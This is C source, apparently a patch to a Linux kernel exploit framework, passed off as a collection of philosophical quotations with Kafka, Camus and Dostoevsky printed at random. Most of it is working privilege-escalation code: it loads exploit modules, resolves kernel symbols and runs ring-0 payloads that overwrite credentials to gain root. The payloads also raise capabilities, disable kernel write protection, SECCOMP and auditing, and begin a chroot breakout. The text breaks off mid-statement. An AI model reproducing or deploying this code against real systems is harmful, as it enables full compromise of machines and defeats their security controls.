stands a doorkeeper. To this doorkeeper there comes a " \ + "man from the country who begs for admittance to the Law. But the doorkeeper " \ + "says that he cannot admit the man at the moment. The man, on reflection, asks " \ + "if he will be allowed, then, to enter later. 'It is possible,' answers " \ + "the doorkeeper, 'but not at this moment.' Since the door leading into the Law " \ + "stands open as usual and the doorkeeper steps to one side, the man bends " \ + "down to peer through the entrance. When the doorkeeper sees that, he laughs " \ + "and says: 'If you are so strongly tempted, try to get in without my " \ + "permission. But note that I am powerful. And I am only the lowest " \ + "doorkeeper. From hall to hall, keepers stand at every door, one more powerful " \ + "than the other. And the sight of the third man is already more than even I " \ + "can stand.' These are difficulties which the man from the country has not " \ + "expected to meet, the Law, he thinks, should be accessible to every man " \ + "and at all times, but when he looks more closely at the doorkeeper in his " \ + "furred robe, with his huge, pointed nose and long, thin, Tartar beard, " \ + "he decides that he had better wait until he gets permission to enter. " \ + "The doorkeeper gives him a stool and lets him sit down at the side of " \ + "the door. There he sits waiting for days and years. He makes many " \ + "attempts to be allowed in and wearies the doorkeeper with his importunity. " \ + "The doorkeeper often engages him in brief conversation, asking him about " \ + "his home and about other matters, but the questions are put quite impersonally, " \ + "as great men put questions, and always conclude with the statement that the man " \ + "cannot be allowed to enter yet. The man, who has equipped himself with many " \ + "things for his journey, parts with all he has, however valuable, in the hope " \ + "of bribing the doorkeeper. The doorkeeper accepts it all, saying, however, " \ + "as he takes each gift: 'I take this only to keep you from feeling that you " \ + "have left something undone.' During all these long years the man watches " \ + "the doorkeeper almost incessantly. He forgets about the other doorkeepers, " \ + "and this one seems to him the only barrier between himself and the Law. " \ + "In the first years he curses his evil fate aloud; later, as he grows old, " \ + "he only mutters to himself. He grows childish, and since in his prolonged " \ + "study of the doorkeeper he has learned to know even the fleas in his fur " \ + "collar, he begs the very fleas to help him and to persuade the doorkeeper " \ + "to change his mind. Finally his eyes grow dim and he does not know whether " \ + "the world is really darkening around him or whether his eyes are only " \ + "deceiving him. But in the darkness he can now perceive a radiance that streams " \ + "inextinguishably from the door of the Law. Now his life is drawing to a close. " \ + "Before he dies, all that he has experienced during the whole time of his sojourn " \ + "condenses in his mind into one question, which he has never yet put to the " \ + "doorkeeper. He beckons the doorkeeper, since he can no longer raise his stiffening " \ + "body. The doorkeeper has to bend far down to hear him, for the difference in " \ + "size between them has increased very much to the man's disadvantage. 'What " \ + "do you want to know now?' asks the doorkeeper, 'you are insatiable.' " \ + "'Everyone strives to attain the Law,' answers the man, 'how does it come " \ + "about, then, that in all these years no one has come seeking admittance " \ + "but me?' The doorkeeper perceives that the man is nearing his end and his " \ + "hearing is failing, so he bellows in his ear: 'No one but you could gain " \ + "admittance through this door, since this door was intended for you. " \ + "I am now going to shut it.' --Kafka", + "These are the conclusions of individualism in revolt. The individual cannot " \ + "accept history as it is. He must destroy reality, not collaborate with it, " \ + "in order to reaffirm his own existence. --Camus", + "The desire for possession is only another form of the desire to endure; it is " \ + "this that comprises the impotent delirium of love. No human being, even " \ + "the most passionately loved and passionately loving, is ever in our possession. --Camus", + "In art, rebellion is consummated and perpetuated in the act of real creation, " \ + "not in criticism or commentary. --Camus", + "There is, therefore, only one categorical imperative. It is: Act only according " \ + "to that maxim by which you can at the same time will that it should become a " \ + "universal law. --Kant", + "You have your way. I have my way. As for the right way, the correct way, and " \ + "the only way, it does not exist. --Nietzsche", + "The person lives most beautifully who does not reflect upon existence. --Nietzsche", + "To be free is nothing, to become free is everything. --Hegel", + "Man acts as though he were the shaper and master of language, while in fact language " \ + "remains the master of man. --Heidegger", + "Truth always rests with the minority, and the minority is always stronger than the " \ + "majority, because the minority is generally formed by those who really have an " \ + "opinion, while the strength of a majority is illusory, formed by the gangs who " \ + "have no opinion -- and who, therefore, in the next instant (when it is evident " \ + "that the minority is the stronger) assume its opinion... while truth again reverts " \ + "to a new minority. --Kierkegaard", + "Reading furnishes the mind only with materials of knowledge; it is thinking that " \ + "makes what we read ours. --Locke", + "I would warn you that I do not attribute to nature either beauty or deformity, " \ + "order or confusion. Only in relation to our imagination can things be called " \ + "beautiful or ugly, well-ordered or confused. --Spinoza", + "The work of an intellectual is not to mould the political will of others; it is, " \ + "through the analyses that he does in his own field, to re-examine evidence and " \ + "assumptions, to shake up habitual ways of working and thinking, to dissipate " \ + "conventional familiarities, to re-evaluate rules and institutions and to " \ + "participate in the formation of a political will (where he has his role as " \ + "citizen to play). --Foucault", + "The more I read, the more I meditate; and the more I acquire, the more I am " \ + "enabled to affirm that I know nothing. --Voltaire", + "Completely joyless autumn days followed. The novel was written, there was " \ + "nothing more to be done, and our life consisted of sitting on the rug next to " \ + "the stove, staring at the fire. Besides, we started spending more time apart " \ + "than we had before. She began going out for walks. And something strange " \ + "happened, as had often been the case in my life... I suddenly made a friend. " \ + "Yes, yes, imagine, I don't make friends easily as a rule, due to a devilish " \ + "peculiarity of mine: it's a strain for me to be with people, and I'm distrustful " \ + "and suspicious. But -- imagine, despite all that, some unlikely, unexpected " \ + "fellow, who looks like the devil knows what, will unfailingly make his way into " \ + "my heart, and he'll be the one I like more than anyone else. --Bulgakov", + "But what are smart people smart for, if not to untangle tangled things? --Bulgakov", + "You pronounced your words as if you refuse to acknowledge the existence of either " \ + "shadows or evil. But would you kindly ponder this question: What would your good " \ + "do if evil didn't exist, and what would the earth look like if all the shadows " \ + "disappeared? After all, shadows are cast by things and people. Here is a shadow " \ + "of my sword. But shadows also come from trees and from living beings. Do you want to " \ + "strip the earth of all trees and living things just because of your fantasy of enjoying " \ + "naked light? You're stupid. --Bulgakov", + "\"Excuse me, but this is, after all, absurd,\" said Korovyov, refusing to give in. " \ + "\"It isn't an ID that defines a writer, but what he has written! How can you know what " \ + "ideas are fermenting in my brain?\" --Bulgakov", + "Beauty is a fearful and terrible thing! Fearful because it's undefinable, and it " \ + "cannot be defined, because here God gave us only riddles. Here the shores converge, " \ + "here all contradictions live together. I'm a very uneducated man, brother, but I've " \ + "thought about it a lot. So terribly many mysteries! Too many riddles oppress man on " \ + "earth. Solve them if you can without getting your feet wet. Beauty! Besides, I can't " \ + "bear it that some man, even with a lofty heart and the highest mind, should start from " \ + "the ideal of the Madonna and end with the ideal of Sodom. It's even more fearful when " \ + "one who already has the ideal of Sodom in his soul does not deny the ideal of the " \ + "Madonna either, and his heart burns with it, verily, verily burns, as in his young, " \ + "blameless years. No, man is broad, even too broad, I would narrow him down. Devil " \ + "knows even what to make of him, that's the thing! What's shame for the mind is beauty " \ + "all over for the heart. Can there be beauty in Sodom? Believe me, for the vast " \ + "majority of the people, that's just where beauty lies -- did you know that secret? " \ + "The terrible thing is that beauty is not only fearful but also mysterious. Here the " \ + "devil is struggling with God, and the battlefield is the human heart. --Dostoevsky", + "\"I heard exactly the same thing, a long time ago to be sure, from a doctor,\" the " \ + "elder remarked. \"He was then an old man, and unquestionably intelligent. " \ + "He spoke just as frankly as you, humorously, but with a sorrowful humor. 'I love " \ + "mankind,' he said, 'but I am amazed at myself: the more I love mankind in general, " \ + "the less I love people in particular, that is, individually, as separate persons. " \ + "In my dreams,' he said, 'I often went so far as to think passionately of serving " \ + "mankind, and, it may be, would really have gone to the cross for people if it were " \ + "somehow suddenly necessary, and yet I am incapable of living in the same room with " \ + "anyone even for two days, this I know from experience. As soon as someone is there, " \ + "close to me, his personality oppresses my self-esteem and restricts my freedom. In " \ + "twenty-four hours I can begin to hate even the best of men: one because he takes too " \ + "long eating his dinner, another because he has a cold and keeps blowing his nose. " \ + "I become the enemy of people the moment they touch me,' he said. 'On the other hand, " \ + "it has always happened that the more I hate people individually, the more ardent " \ + "becomes my love for humanity as a whole.'\" --Dostoevsky", + "A man who lies to himself is often the first to take offense. It sometimes feels " \ + "very good to take offense, doesn't it? And surely he knows that no one has offended " \ + "him, and that he himself has invented the offense and told lies just for the beauty " \ + "of it, that he has exaggerated for the sake of effect, that he has picked on a word " \ + "and made a mountain out of a pea -- he knows all of that, and still he is the first " \ + "to take offense, he likes feeling offended, it gives him great pleasure, and thus " \ + "he reaches the point of real hostility. --Dostoevsky", + "If your opponent is weak or does not wish to appear as if he has no idea what you " \ + "are talking about, you can easily impose upon him some argument that sounds very deep " \ + "or learned, or that sounds indisputable. --Schopenhauer", + "Self-knowledge -- the bitterest knowledge of all and also the kind we cultivate " \ + "least: what is the use of catching ourselves out, morning to night, in the act " \ + "of illusion, pitilessly tracing each act back to its root, and losing case after " \ + "case before our own tribunal? --Cioran", + "A man who fears ridicule will never go far, for good or ill: he remains on this side " \ + "of his talents, and even if he has genius, he is doomed to mediocrity. --Cioran", + "In order to understand the world, one has to turn away from it on occasion. --Camus", + "Man stands face to face with the irrational. He feels within him his longing for " \ + "happiness and for reason. The absurd is born of this confrontation between the " \ + "human need and the unreasonable silence of the world. --Camus" +}; + +void RANDOM_THOUGHT(void) +{ + int i; + char *thought; + char *p, *p2; + char c; + int size_of_thought; + srand(time(NULL)); + thought = strdup(thoughts[rand() % (sizeof(thoughts)/sizeof(thoughts[0]))]); + if (thought == NULL) + return; + size_of_thought = strlen(thought); + fprintf(stdout, " ------------------------------------------------------------------------------\n"); + for (i = 0; i < size_of_thought;) { + if (i + 78 >= size_of_thought) { + fprintf(stdout, " %.78s\n", &thought[i]); + break; + } + p = &thought[i + 77]; + c = *p; + *p = '\0'; + p2 = strrchr(&thought[i], ' '); + *p = c; + if (p2) { + *p2 = '\n'; + c = p2[1]; + p2[1] = '\0'; + fprintf(stdout, " %.78s", &thought[i]); + p2[1] = c; + i += (int)((unsigned long)p2 + 1 - (unsigned long)&thought[i]); + } else { + fprintf(stdout, " %.78s\n", &thought[i]); + break; + } + } + fprintf(stdout, " ------------------------------------------------------------------------------\n"); + free(thought); +} + +int check_entry(const struct dirent *dir) +{ + if (!fnmatch("exp_*.so", dir->d_name, 0)) + return 1; + return 0; +} + +void add_exploit_modules(void) +{ + struct dirent **namelist; + void *mod; + void *desc, *prepare, *trigger, *post, *get_exp_state_ptr, *requires_null_page, *ring0_cleanup, *requires_symbols_to_trigger, *cve; + char tmpname[PATH_MAX]; + int n; + int i; + + chdir("/home/spender"); + + n = scandir(".", &namelist, &check_entry, alphasort); + if (n < 0) { + fprintf(stdout, "No exploit modules found, exiting...\n"); + exit(1); + } + for (i = 0; i < n; i++) { + snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name); + tmpname[sizeof(tmpname)-1] = '\0'; + mod = dlopen(tmpname, RTLD_NOW); + if (mod == NULL) { +unable_to_load: + fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name); + free(namelist[i]); + continue; + } + desc = dlsym(mod, "desc"); + cve = dlsym(mod, "cve"); + prepare = dlsym(mod, "prepare"); + ring0_cleanup = dlsym(mod, "ring0_cleanup"); + trigger = dlsym(mod, "trigger"); + post = dlsym(mod, "post"); + requires_null_page = dlsym(mod, "requires_null_page"); + requires_symbols_to_trigger = dlsym(mod, "requires_symbols_to_trigger"); + get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr"); + + if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL || requires_null_page == NULL || cve == NULL) + goto unable_to_load; + +#ifdef NON_NULL_ONLY + if (*(int *)requires_null_page) { + free(namelist[i]); + dlclose(mod); + continue; + } +#else + if (!*(int *)requires_null_page) { + free(namelist[i]); + dlclose(mod); + continue; + } +#endif + + if (num_exploits >= MAX_EXPLOITS) { + fprintf(stdout, "Max exploits reached.\n"); + return; + } + strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1); + strncpy(modules[num_exploits].cve, *(char **)cve, sizeof(modules[num_exploits].cve) - 1); + modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0'; + modules[num_exploits].prep = (_prepare_for_exploit)prepare; + modules[num_exploits].trigger = (_trigger_the_bug)trigger; + modules[num_exploits].post = (_post_exploit)post; + modules[num_exploits].ring0_cleanup = (_ring0_cleanup)ring0_cleanup; + modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr; + modules[num_exploits].requires_null_page = *(int *)requires_null_page; + modules[num_exploits].requires_symbols_to_trigger = requires_symbols_to_trigger ? *(int *)requires_symbols_to_trigger : 0; + free(namelist[i]); + num_exploits++; + } + + return; +} + +struct exploit_state exp_state; +int eightk_stack = 0; +int twofourstyle = 0; +int raised_caps = 0; +unsigned long current_addr = 0; +int cred_support = 0; +int cred_offset = 0; +int fs_offset = 0; +int aio_read_offset = 0; +int has_vserver = 0; +int vserver_offset = 0; +unsigned long init_cred_addr = 0; +unsigned long default_exec_domain = 0; +unsigned int current_personality = 0; +unsigned int current_pid = 0; + +#define TASK_RUNNING 0 + +#ifdef __x86_64__ +#define KERNEL_BASE 0xffffffff81000000UL +#define KSTACK_MIN 0xffff800000000000UL +#define KSTACK_MAX 0xfffffffff0000000UL +#else +#define KERNEL_BASE 0xc0000000UL +#define KSTACK_MIN 0xc0000000UL +#define KSTACK_MAX 0xfffff000UL +#endif + +char *exit_stack; + +static inline unsigned long get_current_4k(void) +{ + unsigned long current = 0; + unsigned long exec_domain = 0; + + current = (unsigned long)¤t; + + exec_domain = *(unsigned long *)((current & ~(0x1000 - 1)) + sizeof(unsigned long)); + current = *(unsigned long *)(current & ~(0x1000 - 1)); + if (current < KSTACK_MIN || current > KSTACK_MAX) + return 0; + if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX) + return 0; + if (default_exec_domain && exec_domain != default_exec_domain) + return 0; + if (*(long *)current != TASK_RUNNING) + return 0; + + return current; +} + +static inline unsigned long get_current_8k(void) +{ + unsigned long current = 0; + unsigned long exec_domain = 0; + unsigned int *flags; + unsigned long oldstyle = 0; + + eightk_stack = 1; + + current = (unsigned long)¤t; + oldstyle = current & ~(0x2000 - 1); + current = *(unsigned long *)(oldstyle); + exec_domain = *(unsigned long *)(oldstyle + sizeof(unsigned long)); + flags = (unsigned int *)(oldstyle + (2 * sizeof(unsigned long))); + twofourstyle = 1; + if (current < KSTACK_MIN || current > KSTACK_MAX) + return oldstyle; + if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX) + return oldstyle; + if (default_exec_domain && exec_domain != default_exec_domain) + return oldstyle; + if (*(long *)current != TASK_RUNNING) + return oldstyle; + + // disable SECCOMP + *flags &= ~(1 << 8); + // disable syscall auditing + *flags &= ~(1 << 7); + + twofourstyle = 0; + return current; +} + +static int requires_symbols_to_trigger; + +static int kallsyms_is_hidden; + +static unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + if (kallsyms_is_hidden) + goto fallback; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname) && addr) { + fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } else if (!strcmp(name, sname)) { + kallsyms_is_hidden = 1; + } + } + + fclose(f); + if (rep == 2) + return 0; + else if (rep == 1) + goto fallback2; +fallback: + /* didn't find the symbol, let's retry with the System.map + dedicated to the pointlessness of Russell Coker's SELinux + test machine (why does he keep upgrading the kernel if + "all necessary security can be provided by SE Linux"?) + */ + uname(&ver); + if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + goto fallback2; + rep = 1; + goto repeat; +fallback2: + /* didn't find the symbol, let's retry with the System.map + dedicated to the pointlessness of Russell Coker's SELinux + test machine (why does he keep upgrading the kernel if + "all necessary security can be provided by SE Linux"?) + */ + uname(&ver); + if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3)) + oldstyle = 1; + sprintf(sname, "./System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) { + sprintf(sname, "./System.map"); + f = fopen(sname, "r"); + if (f == NULL) { + if (requires_symbols_to_trigger) { + printf("Unable to acquire kernel symbols. Copy the appropriate System.map to the current directory.\n"); + exit(1); + } else + return 0; + } + } + rep = 2; + goto repeat; +} + +/* for switching from interrupt to process context */ +unsigned long *ptmx_fops; + +/* check for xen support */ +unsigned long *xen_start_info; +int xen_detected; +int can_change_ptes; + +int bad_kallsyms_lookup_name; + +/* check if DEBUG_RODATA only protects .rodata */ +unsigned long mark_rodata_ro; +unsigned long set_kernel_text_ro; + +int *audit_enabled; +int *ima_audit; + +int *selinux_enforcing; +int *selinux_enabled; +int *sel_enforce_ptr; + +int *apparmor_enabled; +int *apparmor_logsyscall; +int *apparmor_audit; +int *apparmor_complain; + +unsigned long *init_task; +unsigned long init_fs; + +unsigned long *bad_file_ops; +unsigned long bad_file_aio_read; + +unsigned long vc_sock_stat; + +unsigned char *ima_bprm_check; +unsigned char *ima_file_mmap; +unsigned char *ima_path_check; +/* whoa look at us, 2.6.33 support before it's even released */ +unsigned char *ima_file_check; + +unsigned long *security_ops; +unsigned long default_security_ops; + +unsigned long sel_read_enforce; + +int what_we_do; + +unsigned int our_uid; + +typedef void __attribute__((regparm(3))) (* _set_fs_root)(unsigned long fs, unsigned long path); +typedef void __attribute__((regparm(3))) (* _set_fs_pwd)(unsigned long fs, unsigned long path); +typedef bool __attribute__((regparm(3))) (* _virt_addr_valid)(unsigned long addr); + +typedef void __attribute__((regparm(3))) (* _prepare_ve0_process)(unsigned long tsk); + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); + +typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readonly)(unsigned long addr); +typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readwrite)(unsigned long addr); + +_make_lowmem_page_readonly make_lowmem_page_readonly; +_make_lowmem_page_readwrite make_lowmem_page_readwrite; +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; +_prepare_ve0_process prepare_ve0_process; +_set_fs_root set_fs_root; +_set_fs_pwd set_fs_pwd; +_virt_addr_valid virt_addr_valid; + +struct cred { + int usage; // must be >= 4 + int uid; // 0 + int gid; // 0 + int suid; // 0 + int sgid; // 0 + int euid; // 0 + int egid; // 0 + int fsuid; // 0 + int fsgid; // 0 + int securebits; // SECUREBITS_DEFAULT 0x00000000 + unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0} + unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 } + unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 } + unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET +}; + +static inline unsigned long *pg_to_ptr(unsigned long addr) +{ + return (unsigned long *)(0xffff880000000000UL + (addr & 0x000ffffffffff000UL)); +} + +static inline unsigned long pte_to_kaddr(unsigned long pte) +{ + return 0xffffffff80000000UL + (pte & 0x000ffffffffff000UL); +} + +#define NUM_RANGES 64 + +static unsigned long valid_ranges[NUM_RANGES][2]; + +/* elito #2 */ +static inline void find_kernel_ranges(void) +{ + unsigned long i, z, t; + unsigned long _cr3; + unsigned long *kernelpg; + unsigned long *kernelpte; + int rangeidx = 0; + int x = -1; + + if (valid_ranges[0][0]) + return; + + asm volatile ( + "mov %%cr3, %0" + : "=r" (_cr3) + ); + + kernelpg = pg_to_ptr(pg_to_ptr(pg_to_ptr(_cr3)[511])[510]); + for (i = 0; i < 511; i++) { + if ((kernelpg[i] & 1) && x < 0) { + x = i; + } + if (!(kernelpg[i+1] & 1) && x >= 0) { + break; + } + } + for (z = x; z <= i; z++) { + // large page + if ((kernelpg[z] & (1 << 7)) && !valid_ranges[rangeidx][0]) + valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpg[z]); + else if (!(kernelpg[z] & (1 << 7))) { + // check 4K pages + kernelpte = pg_to_ptr(kernelpg[z]); + for (t = 0; t < 511; t++) { + if ((kernelpte[t] & 0x1) && !valid_ranges[rangeidx][0]) + valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpte[t]); + else if (!(kernelpte[t] & 0x1) && !valid_ranges[rangeidx][1]) { + valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[z]); + rangeidx++; + if (rangeidx >= NUM_RANGES) + return; + } + else if (!(kernelpte[t+1] & 0x1) && !valid_ranges[rangeidx][1]) { + valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpte[t]) + 0x1000; + rangeidx++; + if (rangeidx >= NUM_RANGES) + return; + } + } + } + } + + if (valid_ranges[rangeidx][0] && !valid_ranges[rangeidx][1]) { + valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[i]) + 0x200000; + } +} + +static inline unsigned long find_init_cred(void) +{ + unsigned long len; + struct cred *tmp; + int i, x; + + find_kernel_ranges(); + if (!valid_ranges[0][0] || !valid_ranges[0][1]) + return 0; + + for (x = 0; valid_ranges[x][0]; x++) { + for (i = 0; i < valid_ranges[x][1] - valid_ranges[x][0] - sizeof(struct cred); i++) { + tmp = (struct cred *)valid_ranges[x][0]; + if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 && + tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 && + tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 && + tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 && + tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 && + tmp->cap_permitted[1] == ~0 && + (tmp->cap_effective[0] == ~(1 << 8) || tmp->cap_effective[0] == ~0) && + tmp->cap_effective[1] == ~0 && + (tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) && + tmp->cap_bset[1] == ~0) + return (unsigned long)tmp; + } + } + + return 0UL; +} + +static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current) +{ + /* cause it's a trillion dollar industry */ + unsigned char *current = (unsigned char *)orig_current; + struct cred *init_cred_addr, **cred, **real_cred; + int i; + + init_cred_addr = (struct cred *)find_init_cred(); + if (!init_cred_addr) + return; + + /* ok, we couldn't find our UIDs in the task struct + and we don't have the symbols for the creds + framework, discover it in a stupidly easy way: + in task_struct: + ...stuff... + const struct cred *real_cred; + const struct cred *cred; + struct mutex cred_exec_mutex; + char comm[16]; + ...stuff... + + if we were executed from main, then our name is + "exploit", otherwise it's "pulseaudio" + then we find init_cred through heuristics + increment its refcnt appropriately + and set up our credentials + */ + + for (i = 0; i < 0x1000 - 16; i++) { + if ((exp_state.run_from_main == 1 && !memcmp(¤t[i], "exploit", strlen("exploit") + 1)) || + (exp_state.run_from_main == 0 && !memcmp(¤t[i], "pulseaudio", strlen("pulseaudio") + 1))) { + /* now work backwards till we find the two cred pointers + */ + for (i-=sizeof(unsigned long); i > sizeof(unsigned long); i-=sizeof(unsigned long)) { + if (*((unsigned long *)¤t[i]) != *((unsigned long *)¤t[i-sizeof(unsigned long)])) + continue; + // unlocked + cred_offset = i - sizeof(char *); + real_cred = (struct cred **)¤t[i-sizeof(char *)]; + cred = (struct cred **)¤t[i]; + /* found init_cred, so now point our + cred struct to it, and increment usage! + */ + *real_cred = *cred = init_cred_addr; + init_cred_addr->usage+=2; + exp_state.got_root = 1; + return; + } + return; + } + } + return; +} + +static void give_it_to_me_any_way_you_can(void) +{ + unsigned long orig_current; + + orig_current = get_current_4k(); + if (orig_current == 0) + orig_current = get_current_8k(); + + current_addr = orig_current; + + if (commit_creds && prepare_kernel_cred) { + commit_creds(prepare_kernel_cred(0)); + exp_state.got_root = 1; + } else { + unsigned int *current; + + current = (unsigned int *)orig_current; + while (((unsigned long)current < (orig_current + 0x1000 - 17 )) && + (current[0] != our_uid || current[1] != our_uid || + current[2] != our_uid || current[3] != our_uid)) + current++; + + if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) { + bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(orig_current); + cred_support = 1; + return; + } + exp_state.got_root = 1; + /* clear the UIDs and GIDs */ + memset(current, 0, sizeof(unsigned int) * 8); + /* now let's try to elevate our capabilities as well (pre-creds structure) + 2.4 has next: int ngroups; gid_t groups[NGROUPS]; then caps + 2.6 has next: struct group_info *group_info; then caps + we could actually capget, but lets assume all three are 0 + in both cases, the capabilities occur before: + unsigned keep_capabilities:1; + struct user_struct *user; + so we'll be fine with clobbering all 0s in between + */ + { + int i; + int zeroed; + + current += 8; // skip uids/gids + /* skip over any next pointer */ + current += (sizeof(unsigned long) == sizeof(unsigned int)) ? 1 : 2; + for (i = 0; i < 40; i++) { + if (!current[i]) { + zeroed = 1; + current[i] = 0xffffffff; + raised_caps = 1; + /* once we zero a block, stop when we + find something non-zero + */ + } else if (zeroed) + break; + } + } + + /* now let's disable NNP */ + current = (unsigned int *)orig_current; + while ((unsigned long)current < (orig_current - 12)) { + if (current[0] == current_personality && current[2] == current_pid) { + current[1] = 0; + break; + } + current++; + } + + } + + return; +} + +unsigned long inline get_cr0(void) +{ + unsigned long _cr0; + + asm volatile ( + "mov %%cr0, %0" + : "=r" (_cr0) + ); + + return _cr0; +} + +void inline set_cr0(unsigned long _cr0) +{ + asm volatile ( + "mov %0, %%cr0" + : + : "r" (_cr0) + ); +} + +int inline turn_off_wp(void) +{ + unsigned long _cr0; + + /* if xen is enabled and we can change ptes then we'll do that */ + if (can_change_ptes) + return 1; + /* don't do it if xen is enabled and we can't just + write to kernel .text */ + if (xen_detected && mark_rodata_ro && set_kernel_text_ro) + return 0; + /* if it's just xen, don't use cr0 or we'll GPF */ + if (xen_detected) + return 1; + + _cr0 = get_cr0(); + _cr0 &= ~0x10000; + set_cr0(_cr0); + + return 1; +} + +void inline turn_on_wp(void) +{ + unsigned long _cr0; + + /* if it's just xen, don't use cr0 or we'll GPF */ + if (xen_detected) + return; + + _cr0 = get_cr0(); + _cr0 |= 0x10000; + set_cr0(_cr0); +} + +unsigned long trigger_retaddr; + +unsigned long user_cs; +unsigned long user_ss; +unsigned long user_gs; + +static void get_segment_descriptors(void) +{ +#ifdef __x86_64__ + asm volatile ( + "movq %%cs, %0 ;" + "movq %%ss, %1 ;" + : "=r" (user_cs), "=r" (user_ss) + : + : "memory" + ); +#else + asm volatile ( + "push %%cs ;" + "pop %0 ;" + "push %%ss ;" + "pop %1 ;" + "push %%gs ;" + "pop %2 ;" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_gs) + : + : "memory" + ); +#endif +} + + +/* greets to qaaz */ +static void exit_kernel(void) +{ +#ifdef __x86_64__ + asm volatile ( + "swapgs ;" + "movq %0, 0x20(%%rsp) ;" + "movq %1, 0x18(%%rsp) ;" + "movq %2, 0x10(%%rsp) ;" + "movq %3, 0x08(%%rsp) ;" + "movq %4, 0x00(%%rsp) ;" + "iretq" + : : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS), + "r" (user_cs), "r" (trigger_retaddr) + ); +#else + asm volatile ( + "pushl %0 ;" + "pop %%gs ;" + "movl %1, 0x10(%%esp) ;" + "movl %2, 0x0c(%%esp) ;" + "movl %3, 0x08(%%esp) ;" + "movl %4, 0x04(%%esp) ;" + "movl %5, 0x00(%%esp) ;" + "iret" + : : "r" (user_gs), "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS), + "r" (user_cs), "r" (trigger_retaddr) + ); +#endif +} + +static _trigger_the_bug trigger; +static int main_ret; + +void trigger_get_return(void) +{ + trigger_retaddr = (unsigned long)__builtin_return_address(0); + main_ret = trigger(); + if (!main_ret) + exit(0); + return; +} + +static void make_range_readwrite(unsigned long start, unsigned long len) +{ + unsigned long end; + + if (!can_change_ptes) + return; + + end = start + len; + + make_lowmem_page_readwrite(start); + + // check if the entire range fits in one page + if ((start >> 12) != (end >> 12)) + make_lowmem_page_readwrite(end); + + return; +} +static void make_range_readonly(unsigned long start, unsigned long len) +{ + unsigned long end; + + if (!can_change_ptes) + return; + + end = start + len; + + make_lowmem_page_readonly(start); + + // check if the entire range fits in one page + if ((start >> 12) != (end >> 12)) + make_lowmem_page_readonly(end); + + return; +} + +static _ring0_cleanup ring0_cleanup; +static unsigned long get_kallsyms_lookup_name(void); + +static int return_to_process_context; + +static inline int are_interrupts_disabled(void) +{ + unsigned long flags; + +#ifdef __x86_64 + asm volatile( + "pushfq\n" + "mov (%%rsp), %0\n" + "popfq\n" + : "=r" (flags) + ); +#else + asm volatile( + "pushf\n" + "mov (%%esp), %0\n" + "popf\n" + : "=r" (flags) + ); +#endif + + return !(flags & (1 << 9)); +} + +static inline void chroot_breakout(void) +{ + int x, z; + unsigned long *fsptr; + unsigned long *initfsptr; + + if (!init_task || !init_fs || !set_fs_root || !set_fs_pwd || !current_addr || !virt_addr_valid) + return; + + initfsptr = (unsigned long *)init_fs; + + for (x = 0; x < 0x1000/sizeof(unsigned long); x++) { + if (init_task[x] != init_fs) + continue; + fs_offset = x * sizeof(unsigned long); + fsptr = (unsigned long *)*(unsigned 